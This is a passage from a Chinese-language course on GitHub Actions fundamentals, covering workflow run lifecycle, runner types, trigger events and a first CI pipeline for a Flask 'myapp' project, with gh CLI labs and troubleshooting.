GitHub 第 2 小时:GitHub Actions 核心
- 画出一次 workflow 运行的完整生命周期:事件 → 匹配 workflow 与过滤器 → 作业排队 → runner 领取 → 步骤执行 → 日志/制品上传 → 检查状态回写 PR,并说出每一步由谁负责。
- 为不同场景选择正确的 触发事件(push / pull_request / workflow_dispatch / schedule / release / workflow_run / repository_dispatch),会写 branches / paths / tags 过滤器,能解释
pull_request与pull_request_target的安全差异。 - 熟练组织 job / step / runner:needs 依赖与 outputs 传值、container 与 services(Redis 服务容器)、defaults、timeout-minutes、continue-on-error。
- 读写 表达式与上下文(github / env / vars / secrets / steps / needs / matrix / inputs),避开
if:条件的经典坑(字符串真值、状态函数缺失、跳过的依赖)。 - 用 matrix 覆盖多个 Python 版本,用 concurrency 取消过时运行;用 缓存加速依赖安装、用 制品传递构建产物,并清楚两者的区别与保留期。
- 用
permissions:把 GITHUB_TOKEN 收紧到最小权限,正确使用仓库/环境/组织级 secrets 与 variables;能快速诊断 workflow 不触发、403、缓存不命中、制品找不到等常见失败。
1 小时时间分配表
| # | 时间 | 模块 | 核心内容 | 动画 / 交互 | 实验(myapp 仓库) |
|---|---|---|---|---|---|
| 0 | 课前 | 衔接与热身(第一个 workflow) | 补齐 myapp 的测试与 lint 配置,写出第一个 CI:ruff + pytest + docker build | CI 就绪自评(10 项) | 第一次绿色勾 ✓ |
| 1 | 00–07 | Actions 架构与工作原理 | 事件 → workflow → job → step;托管 runner 标签与规格;runner 应用如何领取作业;三种 Action 类型 | 核心动画:一次 workflow 运行的生命周期 | 读懂运行日志的“Set up job”段 |
| 2 | 07–15 | workflow 语法与事件触发 | 7 种常用事件、activity types、branches/paths/tags 过滤、pull_request vs pull_request_target、cron 的 UTC/timezone 与延迟 | 事件 + 过滤器匹配模拟器 | paths 过滤 + 手动触发 + 定时 |
| 3 | 15–22 | job、step、runner 与依赖 | needs、job outputs、runs-on、container 与 services、defaults、working-directory、timeout、continue-on-error | needs 依赖图执行模拟 | Redis 服务容器跑 myapp 集成测试 |
| 4 | 22–29 | 表达式、上下文与条件 | 10 个常用上下文、contains/startsWith/fromJSON/toJSON/hashFiles、状态检查函数、if 常见坑 | if 表达式求值器 | 条件部署 + 失败通知 |
| 5 | 29–36 | matrix 与并发 | include/exclude、fail-fast、max-parallel、动态 matrix、concurrency 组、cancel-in-progress、queue: max | matrix 展开计算器 + 并发组时间线 | 3 个 Python 版本 × 2 个系统 |
| 6 | 36–43 | 缓存与制品 | actions/cache 键与 restore-keys、作用域、setup-* 内置缓存、upload v7 / download v8 行为变化、保留期 | 缓存键匹配模拟器 | pip 缓存命中 + 上传 wheel 与测试报告 |
| 7 | 43–51 | secrets、variables 与 GITHUB_TOKEN 权限 | 三级 secrets/variables、环境、permissions 最小权限、默认令牌权限、fork PR、掩码与 ::add-mask:: | 权限计算器(403 预测) | 收紧权限 + 复现并修复 403 |
| 8 | 51–60 | CI 就绪评审与常见失败 | CI 评审清单、9 类常见失败、日志/调试日志/重跑、必需检查 | CI 评审打分器 + 交互排障树 | 设为必需检查 |
| — | 课后 | 速查表 · 综合实验 | 为 myapp 建完整 CI 并设为 PR 必需检查 | 结业测验(12 题) | 综合实验 |
知识覆盖矩阵 Knowledge Coverage Matrix
| 目标技能 | M1 | M2 | M3 | M4 | M5 | M6 | M7 | M8 | 关键命令 / 语法 | 实验 |
|---|---|---|---|---|---|---|---|---|---|---|
| 解释 workflow 运行生命周期 | ✓ | ✓ | · | · | · | · | · | ✓ | gh run view --log | 模块 0、1 |
| 选择触发事件与过滤器 | · | ✓ | · | ✓ | · | · | ✓ | ✓ | on:、gh workflow run | 模块 2 |
| 组织 job 依赖与传值 | ✓ | · | ✓ | ✓ | ✓ | · | · | · | needs、$GITHUB_OUTPUT | 模块 3 |
| 服务容器做集成测试 | · | · | ✓ | · | ✓ | · | · | ✓ | services:、options: --health-cmd | Redis + pytest |
| 写正确的 if 条件 | · | ✓ | ✓ | ✓ | · | · | ✓ | ✓ | if: ${{ }}、always() | 模块 4 |
| matrix 与并发控制 | · | · | · | ✓ | ✓ | · | · | ✓ | strategy、concurrency | 模块 5 |
| 缓存加速与制品传递 | · | · | ✓ | ✓ | · | ✓ | · | ✓ | actions/cache、gh run download | 模块 6 |
| 最小权限与机密管理 | · | ✓ | · | ✓ | · | · | ✓ | ✓ | permissions:、gh secret set | 模块 7 |
| 诊断 CI 失败并设为必需检查 | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | gh run rerun --debug、规则集 | 模块 8 + 综合实验 |
本课排除的内容(以及在哪里学)
| 主题 | 为什么不在本课 | 去哪里学 |
|---|---|---|
| Git 原理、分支策略、Git 在 CI/CD 中的通用模式(浅克隆、标签触发、版本号) | 已在 Git 课讲过 | Git 第 5 课:Git 在 CI/CD 中 |
| 仓库、PR、评审、规则集基础 | 第 1 课已覆盖,本课只在最后把 CI 设为必需检查 | GitHub 第 1 课 |
| OIDC 登录 Azure / AWS、部署到云、环境审批 | 属于“走向云平台” | 第 3 课(Azure)、第 4 课(AWS) |
| 可复用 workflow、composite action 开发、发布与供应链证明、按 SHA 固定 | 属于“生产级 Actions” | 第 5 课 |
| 自托管 runner、ARC、larger runners、API 限流 | 属于深度排错与优化 | 第 7 课 |
| Dockerfile 编写、多阶段构建、镜像推送到 GHCR | Docker 课的主题;本课只执行 docker build 验证能构建 | Docker 8 小时课 |
如何使用本课件
原理 · 图解 · 动画 · 命令 · 实验 · 生产案例 · 排错 · 测验 · 语音 · 视频。建议先看“原理”和“动画”,再在自己的 myapp 仓库里动手做“实验”。
测验得分 ≥ 70% 或点击“标记本模块完成”即计入进度,保存在本浏览器中(禁止本地存储时刷新后会清空)。
“语音”分页用浏览器内置的 Web Speech API(zh-CN)朗读讲解稿;没有中文语音包时讲解稿仍可阅读或交给 TTS 工具。
actions/checkout v7.0.1、actions/setup-python v7.1.0、actions/cache v6.1.0、actions/upload-artifact v7.0.2、actions/download-artifact v8.0.2。ubuntu-latest 当前指向 Ubuntu 24.04,windows-latest 指向 Windows Server 2025,macos-latest 指向 macOS 26(arm64)——-latest 会随 GitHub 的迁移计划变化,生产 workflow 建议写明具体版本。示例中用主版本标签(如 @v7)便于阅读;第 5 课会讲按完整 SHA 固定 Action。模块 0 · 衔接与热身:myapp 的第一个 workflow
- 已完成 GitHub 第 1 课:在个人账号下有
myapp仓库(Python Flask + gunicorn + Redis,含 Dockerfile),本地克隆在~/myapp,gh auth status显示已登录。 - 本地工具:
ghCLI、Git 2.56、Python 3.12+(只用于本地跑测试,可选)、Docker Engine 29(可选,本地验证镜像)。 - 如果第 1 课的仓库已删除,下面的步骤 1 会从零重建所需文件(与 Docker 课的 myapp 一致,额外增加
/healthz和测试)。
步骤 1:补齐 myapp 的应用、测试与依赖文件
CI 能验证的前提是“仓库里有可以自动执行的检查”。我们给 myapp 加上 /healthz 端点、单元测试(不依赖 Redis)和集成测试(需要 Redis,模块 3 用服务容器跑)。
cd ~/myapp 2>/dev/null || { gh repo create myapp --public --clone && cd myapp; }
git switch main && git pull --ff-only
cat > app.py <<'EOF'
import os, socket
from flask import Flask, jsonify
import redis
app = Flask(__name__)
r = redis.Redis(host=os.getenv("REDIS_HOST", "redis"),
port=int(os.getenv("REDIS_PORT", "6379")),
socket_connect_timeout=1)
@app.route("/")
def index():
try:
hits = r.incr("hits")
except redis.exceptions.ConnectionError:
hits = "N/A (redis 未连接)"
return f"Hello from {socket.gethostname()}, hits={hits}\n"
@app.route("/healthz")
def healthz():
return jsonify(status="ok")
EOF
mkdir -p tests
cat > tests/test_app.py <<'EOF'
from app import app
def test_healthz():
resp = app.test_client().get("/healthz")
assert resp.status_code == 200
assert resp.get_json() == {"status": "ok"}
EOF
cat > tests/test_redis.py <<'EOF'
import os, pytest
from app import app
# 只有设置了 REDIS_HOST 时才运行(CI 中由 Redis 服务容器提供)
pytestmark = pytest.mark.skipif("REDIS_HOST" not in os.environ, reason="需要 Redis")
def test_hits_increase():
c = app.test_client()
first = int(c.get("/").get_data(as_text=True).split("hits=")[1])
second = int(c.get("/").get_data(as_text=True).split("hits=")[1])
assert second == first + 1
EOF
cat > requirements.txt <<'EOF'
flask==3.1.*
redis==5.*
gunicorn==23.*
EOF
cat > requirements-dev.txt <<'EOF'
-r requirements.txt
pytest==8.*
ruff==0.*
EOF
cat > pyproject.toml <<'EOF'
[tool.pytest.ini_options]
pythonpath = ["."]
testpaths = ["tests"]
[tool.ruff]
line-length = 100
EOF
ls
Dockerfile app.py pyproject.toml requirements-dev.txt requirements.txt tests
如果仓库里还没有 Dockerfile,使用 Docker 课模块 5 的版本(FROM python:3.13-slim,非 root 用户,CMD ["gunicorn","-b","0.0.0.0:5000","app:app"])。依赖版本用 ==3.1.* 这种“锁主次版本”的写法,便于课程长期可复现;真实项目建议用 pip-tools/uv 生成完整锁文件。
步骤 2(可选):本地先跑一遍
python3 -m venv .venv && . .venv/bin/activate pip install -r requirements-dev.txt ruff check . pytest -q
All checks passed! .s [100%] 1 passed, 1 skipped in 0.21s
Redis 测试被跳过(本地没有设置 REDIS_HOST)——这正是模块 3 要用服务容器解决的问题。记得把 .venv/ 加进 .gitignore。
步骤 3:写第一个 workflow
workflow 是放在 .github/workflows/ 目录下的 YAML 文件。文件名任意(.yml 或 .yaml),一个仓库可以有多个 workflow。
name: CI
on:
push:
branches: [main]
pull_request:
permissions:
contents: read
jobs:
lint-test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: "3.13"
- name: Install dependencies
run: pip install -r requirements-dev.txt
- name: Lint (ruff)
run: ruff check .
- name: Test (pytest)
run: pytest -q
build-image:
needs: lint-test
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- name: Build image
run: docker build -t myapp:${{ github.sha }} .
- name: Smoke test /healthz
run: |
docker run -d --name app -p 5000:5000 myapp:${{ github.sha }}
for i in $(seq 1 20); do curl -fsS localhost:5000/healthz && exit 0; sleep 1; done
docker logs app; exit 1
mkdir -p .github/workflows # 把上面的内容保存为 .github/workflows/ci.yml printf '.venv/\n__pycache__/\n' >> .gitignore git add -A git commit -m "ci: add first workflow (ruff + pytest + docker build)" git push gh run watch # 选择刚触发的运行,实时查看
✓ main CI · 18234567890 Triggered via push about 1 minute ago JOBS ✓ lint-test in 21s (ID 51874455301) ✓ build-image in 38s (ID 51874498722) ✓ Run CI (18234567890) completed with 'success'
on 决定什么时候运行;jobs 下每个 job 在一台全新的 runner上执行(所以 build-image 需要再 checkout 一次);needs 让 build-image 等 lint-test 成功后再开始;permissions 把自动令牌 GITHUB_TOKEN 收紧为只读。这四个概念是本课的主线。.github/workflows/(例如写成 .github/workflow/)→ 什么都不会发生;② YAML 缩进用了 Tab → Actions 页面显示 “Invalid workflow file”;③ 私有仓库超出免费分钟或组织禁用了 Actions → 运行不会开始。详见模块 8 的排障树。热身:凭记忆回答(30 秒)
为什么 build-image 这个 job 还要再执行一次 actions/checkout?
每个 job 默认运行在一台新的、相互隔离的 runner 虚拟机上,前一个 job 的工作目录不会自动带过来。要在 job 之间传递文件,需要用制品(模块 6);要传递小段字符串,用 job outputs(模块 3)。
PR 合并前,“检查”是谁写到 PR 页面上的?
workflow 运行时,每个 job 会生成一个 check run,结果通过 Checks API 回写到提交上,PR 页面显示的就是 head 提交上的检查。规则集可以把某个检查设为“必需”(模块 8 与综合实验)。
CI 就绪自评(10 项)
勾选你的 myapp 仓库当前已经做到的项目(保存在本浏览器)。学完本课、完成综合实验后再回来勾一次。
模块 1 · Actions 架构与工作原理
- 用自己的话讲清 event → workflow → job → step 四层模型,以及每层的隔离边界(job 之间不共享文件系统,step 之间共享)。
- 根据需要选择 GitHub 托管 runner 标签(
ubuntu-24.04、ubuntu-24.04-arm、windows-2025、macos-15等),知道公有/私有仓库的规格差异。 - 说明 runner 应用如何通过出站 HTTPS 领取作业、“Set up job”阶段做了什么,以及 JavaScript / Docker 容器 / composite 三种 Action 的区别。
What:GitHub Actions 是什么
GitHub Actions 是 GitHub 内置的事件驱动自动化平台:仓库里发生的事件(推送、PR、发布、定时、手动……)触发 .github/workflows/*.yml 中定义的 workflow,由 runner(托管虚拟机或你自己的机器)执行其中的命令。它最常用于 CI/CD,也能做 issue 分拣、发布说明、定时巡检等任意自动化。
| 层级 | 是什么 | 隔离与执行方式 | 本课示例 |
|---|---|---|---|
| Event 事件 | 触发 workflow 的活动,如 push、pull_request、schedule | 一个事件可同时触发多个 workflow | 推送到 main |
| Workflow | 一个 YAML 文件,包含 on 与 jobs | 每次触发生成一次 workflow run(有 run ID、run number、run attempt) | ci.yml |
| Job | 在同一个 runner 上执行的一组 step | 默认并行;每个 job 在一个新的 runner 上运行,job 之间不共享文件系统;用 needs 串行 | lint-test、build-image |
| Step | run:(shell 命令)或 uses:(调用 Action) | 按顺序执行,共享同一工作目录与环境;每个 run 是一个新的 shell 进程 | ruff check . |
| Action | 可复用的步骤单元 | JavaScript、Docker 容器或 composite 三种 | actions/checkout@v7 |
| Runner | 执行 job 的机器,上面运行开源的 runner 应用(actions/runner) | GitHub 托管:每个 job 一台全新 VM;自托管:你自己维护 | ubuntu-24.04 |
Why:为什么用它
- 与仓库零距离:事件、PR 检查、权限(GITHUB_TOKEN)、制品、环境审批都原生集成,不需要再配 webhook 和凭据。
- 托管 runner 开箱即用:Ubuntu/Windows/macOS、x64/arm64 都有,镜像预装大量工具(Docker、Python、Node、Azure CLI、AWS CLI 等,清单在
actions/runner-images仓库)。 - 生态:Marketplace 上有大量现成 Action;公有仓库使用标准托管 runner 免费。
How:一次运行的生命周期(对应“动画”分页)
- 事件发生:例如
git push到 main。GitHub 记录事件负载(payload)、提交 SHA 与 ref。 - 匹配 workflow:GitHub 读取该提交中
.github/workflows/下的 YAML(schedule、workflow_run等事件读默认分支上的文件),检查on:的事件类型、activity types 与 branches/paths/tags 过滤器。匹配就创建 workflow run。 - 作业排队:解析 jobs 依赖图,没有
needs的 job 立即进入queued;matrix 在这里展开成多个 job;concurrency 组可能让 job 处于pending。 - runner 领取:runner 应用通过出站 HTTPS(443)长轮询 GitHub 的 Actions 服务领取与其标签匹配的作业(runner 不需要开放任何入站端口)。GitHub 托管 runner 是为这个 job 新开的 VM;自托管 runner 则是一直在线等待的进程。
- Set up job:runner 收到作业消息(含 step 列表、上下文、一个本次作业专用的 GITHUB_TOKEN),打印 runner 镜像版本与令牌权限,下载所有
uses:引用的 Action(解析标签到提交 SHA),准备容器/服务容器。 - 步骤执行:逐个执行 step;日志实时流式上传到 GitHub;每个 step 的 outcome 决定后续
if:条件。最后执行各 Action 的 post 步骤(如 cache 保存、checkout 清理凭据)。 - 上传与回写:日志、制品、缓存上传完毕;job 结论(success / failure / cancelled / skipped)写入 check run,显示在提交与 PR 的检查列表中;所有 job 结束后 workflow run 完结。GitHub 托管 VM 随即被销毁。
GitHub 托管 runner 标签与规格(2026-11 核实)
| 系统 / 架构 | 常用标签 | 公有仓库规格 | 私有仓库规格 |
|---|---|---|---|
| Linux x64 | ubuntu-latest(= 24.04)、ubuntu-24.04、ubuntu-22.04、ubuntu-26.04 | 4 vCPU / 16 GB / 14 GB SSD | 2 vCPU / 8 GB / 14 GB SSD |
| Linux arm64 | ubuntu-24.04-arm、ubuntu-22.04-arm、ubuntu-26.04-arm | 4 vCPU / 16 GB | 2 vCPU / 8 GB |
| Linux 单核(轻量) | ubuntu-slim(容器方式运行在共享 VM 上,作业 15 分钟超时) | 1 vCPU / 5 GB | |
| Windows x64 | windows-latest(= 2025)、windows-2025、windows-2022 | 4 vCPU / 16 GB | 2 vCPU / 8 GB |
| Windows arm64 | windows-11-arm | 4 vCPU / 16 GB | 2 vCPU / 8 GB |
| macOS arm64(M1) | macos-latest、macos-15、macos-26 | 3 vCPU / 7 GB | |
| macOS Intel | macos-15-intel、macos-26-intel | 4 vCPU / 14 GB | |
来源:docs.github.com “GitHub-hosted runners reference”(2026-11-15)。-latest 是 GitHub 提供的“最新稳定镜像”,不一定是厂商最新的系统版本,并会按公告迁移;需要更大规格时使用 larger runners(付费,第 7 课)。私有仓库按分钟计费,Windows/macOS 的单价高于 Linux。
Action 的三种类型
| 类型 | action.yml 中的 runs.using | 运行方式 | 优点 | 限制 |
|---|---|---|---|---|
| JavaScript | node24(旧的 node20 正在淘汰) | runner 自带 Node 运行时直接执行打包好的 JS | 启动最快,跨 Linux/Windows/macOS | 需要打包依赖(如 ncc) |
| Docker 容器 | docker | runner 构建或拉取镜像后在容器中运行 | 环境完全自定义,任意语言 | 仅 Linux runner;每次构建/拉取镜像较慢 |
| Composite | composite | 把多个 run/uses 步骤打包成一个 | 无需编程,复用 shell 片段 | 日志合并在一个步骤里;有嵌套层数限制 |
When:何时用托管 runner,何时用自托管
| GitHub 托管 runner | 自托管 runner | |
|---|---|---|
| 维护 | GitHub 负责镜像、补丁、扩缩 | 你负责机器、更新、安全隔离 |
| 干净程度 | 每个 job 一台全新 VM | 默认会残留上次的文件(建议 ephemeral 模式或 ARC) |
| 适合 | 绝大多数 CI、开源项目 | 访问内网资源、特殊硬件(GPU)、合规要求、超长作业 |
| 作业时长上限 | 每个 job 最多 6 小时 | 每个 job 最多 5 天 |
与相似平台对比
| GitHub Actions | Azure Pipelines | GitLab CI | |
|---|---|---|---|
| 定义文件 | .github/workflows/*.yml(可多个) | azure-pipelines.yml | .gitlab-ci.yml |
| 层级 | workflow → job → step | stage → job → step | stage → job |
| 执行器 | runner(托管/自托管) | agent(Microsoft 托管/自托管) | runner(SaaS/自托管) |
| 复用单元 | Action、可复用 workflow | task、template | include、component |
export FOO=1 下一步还能用”——不能,每个 run 是新 shell;跨 step 传值要写入 $GITHUB_ENV 或 $GITHUB_OUTPUT。③ “runner 需要 GitHub 能连进来”——不需要,runner 只做出站连接。④ “修改 PR 里的 workflow 文件就能改变 schedule 行为”——schedule 只读默认分支上的 workflow。架构图:从事件到检查结果
层级图:一个 workflow run 的组成
核心动画:一次 workflow 运行的生命周期
选择一个场景,然后点击“播放”或“下一步”。图中高亮的是当前阶段,下方终端显示你在 GitHub 界面、gh CLI 或 runner 日志中会看到的真实信息。
核心命令:用 gh CLI 观察 workflow 运行
| 命令 | 作用 | 关键参数 / 说明 |
|---|---|---|
gh workflow list | 列出仓库中的 workflow 及启用状态 | --all 包含已禁用的 |
gh run list | 列出最近的运行 | --workflow ci.yml、--branch、--event、--status failure、--limit |
gh run watch | 实时观察运行进度 | --exit-status:失败时返回非 0(适合脚本) |
gh run view | 查看运行摘要、job、日志 | --log、--log-failed、--job ID、--json |
gh run rerun | 重新运行 | --failed 只重跑失败 job;--debug 开启调试日志 |
gh api | 直接调用 REST API | repos/{owner}/{repo}/actions/runs/RUN_ID/jobs |
gh run list --workflow ci.yml --limit 5 RUN_ID=$(gh run list --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId') gh run view "$RUN_ID" gh run view "$RUN_ID" --log | grep -A12 "Set up job" | head -30
STATUS TITLE WORKFLOW BRANCH EVENT ID ELAPSED AGE ✓ ci: add first workflow (ruff + pytest… CI main push 18234567890 1m2s 5m lint-test Set up job Current runner version: '2.3xx.x' lint-test Set up job Runner Image Provisioner lint-test Set up job Operating System lint-test Set up job Ubuntu lint-test Set up job 24.04.x LTS lint-test Set up job Runner Image lint-test Set up job Image: ubuntu-24.04 lint-test Set up job Version: 2026xxxx.x lint-test Set up job GITHUB_TOKEN Permissions lint-test Set up job Contents: read lint-test Set up job Metadata: read lint-test Set up job Download action repository 'actions/checkout@v7' (SHA:…) lint-test Set up job Download action repository 'actions/setup-python@v7' (SHA:…)
如何验证:“Set up job”段告诉你三件事:runner 应用版本、镜像名称与版本(对照 actions/runner-images 的发布说明查预装软件)、GITHUB_TOKEN 实际权限、每个 Action 解析到的提交 SHA。常见错误:以为 ubuntu-latest 永远不变——镜像每周更新,-latest 还会整体迁移到新系统版本。生产用途:出现“昨天还好今天就挂了”时,先对比两次运行的 Image Version。
用 API 查看 job 与 runner 信息
gh api repos/{owner}/{repo}/actions/runs/$RUN_ID/jobs \
-q '.jobs[] | {name, status, conclusion, runner_name, labels}'
{"conclusion":"success","labels":["ubuntu-24.04"],"name":"lint-test","runner_name":"GitHub Actions 1000123456","status":"completed"}
{"conclusion":"success","labels":["ubuntu-24.04"],"name":"build-image","runner_name":"GitHub Actions 1000123460","status":"completed"}
两个 job 的 runner_name 不同——证明它们运行在两台不同的 runner 上。gh api 会把 {owner}/{repo} 自动替换为当前仓库。
实验 1:验证 job 隔离与 runner 环境(约 5 分钟)
name: Explore runner
on: workflow_dispatch
permissions:
contents: read
jobs:
linux:
runs-on: ubuntu-24.04
steps:
- run: echo "hello" > shared.txt && ls -l shared.txt
- run: |
echo "仍在同一 job,文件还在:$(cat shared.txt)"
echo "OS: $(lsb_release -ds) CPU: $(nproc) MEM: $(free -h | awk '/Mem/{print $2}')"
echo "runner: $RUNNER_NAME arch: $RUNNER_ARCH temp: $RUNNER_TEMP"
echo "workspace: $GITHUB_WORKSPACE"
docker --version; python3 --version
arm:
runs-on: ubuntu-24.04-arm
steps:
- run: |
uname -m
ls shared.txt 2>/dev/null || echo "另一个 job:看不到 shared.txt"
git add .github/workflows/explore.yml && git commit -m "ci: explore runner" && git push gh workflow run explore.yml sleep 5; gh run watch "$(gh run list --workflow explore.yml --limit 1 --json databaseId -q '.[0].databaseId')" gh run view --log "$(gh run list --workflow explore.yml --limit 1 --json databaseId -q '.[0].databaseId')" | grep -E "仍在|OS:|runner:|aarch64|看不到"
linux … 仍在同一 job,文件还在:hello linux … OS: Ubuntu 24.04.x LTS CPU: 4 MEM: 15Gi linux … runner: GitHub Actions 1000123470 arch: X64 temp: /home/runner/work/_temp arm … aarch64 arm … 另一个 job:看不到 shared.txt
私有仓库的 CPU 会显示 2、内存约 7.8Gi。arm64 标准 runner 在公有和私有仓库均可用(私有仓库按分钟计费)。workflow_dispatch 要求 workflow 文件已存在于默认分支。
Download action repository 'actions/checkout@v7' (SHA:…)。记下 SHA,然后执行:
git ls-remote https://github.com/actions/checkout refs/tags/v7 refs/tags/v7.0.1
主版本标签 v7 是“移动标签”,会随补丁版本更新;完整 SHA 则不可变。这就是第 5 课“按 SHA 固定 Action”的原因(参见 tj-actions/changed-files 被篡改标签的事件,CVE-2025-30066)。
runs.using:
gh api repos/actions/checkout/contents/action.yml -H "Accept: application/vnd.github.raw" | grep -A3 "^runs:" gh api repos/actions/setup-python/contents/action.yml -H "Accept: application/vnd.github.raw" | grep -A4 "^runs:"
runs: using: node24 main: dist/index.js post: dist/index.js runs: using: 'node24' main: 'dist/setup/index.js' post: 'dist/cache-save/index.js'
post 就是 job 结束时额外执行的“Post Run actions/…”步骤:checkout 在这里清理凭据,setup-python 在这里保存依赖缓存。
git rm .github/workflows/explore.yml && git commit -m "chore: remove explore" && git push。案例 1:ubuntu-latest 迁移导致构建突然失败
问题:某团队的 workflow 全部写 ubuntu-latest,GitHub 把 -latest 迁移到新版本后,依赖旧版系统库的 C 扩展编译失败,十几个仓库同时变红。做法:对比失败与成功运行的 “Set up job → Runner Image”,确认镜像版本变化;生产 workflow 改为固定 ubuntu-24.04,并设一个每周运行的 “canary” workflow 用 ubuntu-latest/ubuntu-26.04 提前发现问题。限制:固定版本也会在旧镜像退役时被迫迁移,需要关注 actions/runner-images 的公告。
案例 2:arm64 镜像构建从 25 分钟降到 6 分钟
问题:多架构镜像在 x64 runner 上用 QEMU 模拟构建 arm64,极慢。做法:用 matrix 分别在 ubuntu-24.04 与 ubuntu-24.04-arm 上原生构建,再合并 manifest(第 5 课)。限制:私有仓库的 arm64 分钟需计费;个别工具没有 arm64 版本,需要在 Set up job 后检查。
案例 3:Docker 容器 Action 拖慢所有 job
问题:团队自研的 lint Action 是 Docker 类型,每个 job 都要先 docker build 一遍(约 90 秒),Windows/macOS job 还直接报不支持。做法:改写为 JavaScript Action(或预构建镜像后用 docker:// 引用),启动时间降到 2 秒以内。限制:JavaScript Action 需要 Node 运行时版本跟随 runner(node24),维护者需定期升级。
常见错误与解决
This request was automatically failed because there were no enabled runners online to process the request for more than 1 days.
原因:runs-on 写了不存在的标签(如 ubuntu-24.04-arm64、macos-12 等已退役镜像)或指向没有在线的自托管 runner。
gh run view RUN_ID --json jobs -q '.jobs[] | {name, status, labels}'
修复:对照官方标签表修正(arm64 标签是 ubuntu-24.04-arm);自托管 runner 检查是否在线、标签是否全部匹配(runs-on 是数组时要求全部标签都具备)。
Job 长时间显示 “Waiting for a runner to pick up this job...”
原因:账号/组织达到并发 job 上限、macOS 高峰期排队、私有仓库分钟或预算耗尽、自托管 runner 忙碌。托管 runner 队列中的作业 45 分钟内无人处理会被丢弃。
修复:查看 Settings → Billing 的用量与预算;减少 matrix 规模或用 max-parallel;用 concurrency 取消过时运行(模块 5)。
Error: Unable to resolve action `actions/checkout@v8`, unable to find version `v8`
原因:引用的标签/分支/SHA 不存在,或 Action 仓库是私有的且未授权访问。
git ls-remote --tags https://github.com/actions/checkout | tail -5
修复:使用存在的版本(当前 checkout 最新为 v7.0.1)。引用同组织私有仓库中的 Action 需要在该 Action 仓库 Settings → Actions → Access 中允许访问。
Container action is only supported on Linux
原因:在 Windows/macOS runner 上使用了 Docker 容器类型的 Action。
修复:换用 JavaScript 版本的 Action、把该 job 改到 Linux runner,或用 run: 直接调用工具。
上一步 export 的变量下一步为空 / cd 之后下一步又回到了根目录
原因:每个 run 是独立的 shell 进程。
- run: echo "APP_VERSION=1.2.3" >> "$GITHUB_ENV" - run: echo "$APP_VERSION" # 1.2.3 - run: make test working-directory: ./services/api # 代替 cd
1. 用一条命令查看 myapp 最近一次失败运行中失败步骤的日志。
gh run view "$(gh run list --status failure --limit 1 --json databaseId -q '.[0].databaseId')" --log-failed
2. 列出某次运行中每个 job 使用的 runner 名称和标签。
gh api repos/{owner}/{repo}/actions/runs/RUN_ID/jobs -q '.jobs[] | [.name, .runner_name, (.labels|join(","))] | @tsv'同事说:“lint 和 test 拆成两个 job 后,test 找不到 lint 阶段生成的 .ruff_cache,而且整体变慢了。”请解释原因并给出建议。
两个 job 运行在两台不同的 runner 上,文件系统不共享,各自都要 checkout、安装 Python 和依赖,所以总时长增加。建议:轻量检查(lint + 单元测试)合并在同一个 job 内多个 step;确实需要拆分时(例如要并行、要不同系统)用缓存加速依赖安装、用制品传递需要的文件(模块 6),或用 job outputs 传递少量字符串(模块 3)。
经核实的教学视频
官方文档
- Understanding GitHub Actions
- GitHub-hosted runners reference
- About custom actions(三种 Action 类型)
- actions/runner-images(镜像与预装软件)
视频分镜脚本(约 90 秒)
本课件无法直接生成视频/MP3,已提供分镜和讲解稿,可交给视频工具生成。
画面:开发者执行 git push,一个“事件”信封飞向 GitHub 图标。
旁白:每次推送、每个 PR、每个定时器都是一个事件。GitHub 会在这次提交里寻找 workflows 目录下的 YAML 文件。
画面:YAML 文件展开成两张 job 卡片,进入“排队”传送带。
旁白:匹配上的 workflow 生成一次运行,里面的 job 默认并行排队,needs 把它们串起来。
画面:一台新虚拟机亮起,箭头从 runner 指向 GitHub(出站),领走一张 job 卡片,逐行执行步骤。
旁白:runner 主动向 GitHub 领取作业,不需要开放入站端口。托管 runner 每个 job 都是一台全新的虚拟机。
画面:日志流向 GitHub,PR 页面上出现绿色对勾,虚拟机消失。
旁白:日志和制品上传完毕,结果写成检查回到 PR 页面,虚拟机随即销毁,下一次运行又是干净的环境。
模块 2 · workflow 语法与事件触发
on:,就决定了 workflow 在什么时候、对哪段代码、带着什么权限运行- 读写 workflow 的顶层结构(
name/run-name/on/permissions/env/defaults/concurrency/jobs)。 - 为 push、pull_request、workflow_dispatch、schedule、release、workflow_run、repository_dispatch 写出正确的触发配置与 activity types。
- 掌握 branches / tags / paths 过滤器的组合规则,能解释
pull_request与pull_request_target在代码来源、令牌权限、secrets 上的差异,以及 cron 的时区与延迟。
What:workflow 文件的顶层结构
name: CI # Actions 页面显示的名称
run-name: "CI · ${{ github.event_name }} · ${{ github.ref_name }}" # 每次运行的标题(可用表达式)
on: { ... } # 触发条件(本模块重点)
permissions: { contents: read } # GITHUB_TOKEN 权限(模块 7)
env: { PYTHONUNBUFFERED: "1" } # workflow 级环境变量
defaults: { run: { shell: bash } } # 默认 shell / 工作目录(模块 3)
concurrency: { group: ..., cancel-in-progress: true } # 并发控制(模块 5)
jobs: { ... } # 一个或多个 job
常用事件一览
| 事件 | 典型用途 | 运行的代码(GITHUB_SHA / workflow 文件来源) | 关键注意点 |
|---|---|---|---|
push | 主干 CI、标签发布 | 推送后的提交 | 支持 branches / tags / paths 过滤 |
pull_request | PR 检查 | PR 的测试合并提交(refs/pull/N/merge) | 默认 types:opened、synchronize、reopened;branches 过滤匹配的是目标(base)分支;fork PR 的令牌只读且拿不到 secrets |
pull_request_target | 给 fork PR 打标签、评论 | base 仓库默认分支上的 workflow 与提交 | 有写权限令牌和 secrets,绝不能检出并执行 PR 代码 |
workflow_dispatch | 手动触发、带参数运行 | 所选分支 | workflow 文件必须在默认分支;支持 inputs(string / boolean / choice / number / environment) |
schedule | 夜间构建、定时巡检 | 默认分支最新提交 | cron 默认 UTC,可用 timezone;最短 5 分钟;高负载时会延迟 |
release | 发布时构建上传 | release 对应的标签 | 草稿 release 的 created/edited/deleted 不触发;常用 types: [published] |
workflow_run | 在另一个 workflow 完成后运行 | 默认分支 | workflow 文件需在默认分支;最多串联 3 层;可拿到 secrets,处理 fork 产物要谨慎 |
repository_dispatch | 外部系统通过 API 触发 | 默认分支 | client_payload 最多 10 个顶层属性、65,535 字符 |
过滤器规则(push / pull_request)
- branches / branches-ignore、tags / tags-ignore、paths / paths-ignore:同一事件下
